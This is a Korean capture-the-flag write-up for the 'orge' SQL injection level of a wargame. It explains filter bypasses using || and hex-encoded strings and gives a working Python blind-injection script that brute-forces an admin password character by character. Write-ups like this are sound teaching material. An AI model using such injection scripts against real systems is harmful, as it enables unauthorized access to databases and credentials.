이번 문제는 Orc 문제와 Darkelf 문제를 혼합한 문제이다.

 

or, and가 필터링되어 있기 때문에 ||, &&를 이용하면 되고, addslashes 함수를 통해 ', ", \, Null 바이트를 사용하지 못하게 치환하기 때문에 문자열은 Hex 값으로 넘겨주면 우회가 된다.

 

import requests, string, itertools

url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
headers = {'Cookie': 'PHPSESSID=vu81ckm9savbopm00mj0sj2b9i'}


def pwLength():
    for num in range(1, 100):
        parameter = f"?pw='||LENGTH(pw)={num}%23"
        res = requests.get(url + parameter, headers=headers)

        if 'Hello admin' in res.text:
            print(f'pw의 길이 >>>>', num)
            break

def pwParser():
    result = ''
    for num in range(1, 8+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            parameter = f"?pw='||SUBSTR(pw,{num},1)={hex(ord(s))}%23"
            res = requests.get(url + parameter, headers=headers)

            if 'Hello admin' in res.text:
                print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
                result += s
                break
        print('----------------------------------')
    print(result)

pwLength()
print('----------------------------------')
pwParser()

다행히 이번 문제는 orc 문제처럼 여러개의 pw를 저장하지 않았다.
그 때문에 시간을 많이 절약할 수 있었다.

 

파이썬으로 알아낸 pw 값을 서버로 보내면 클리어를 할 수 있다.

복사했습니다!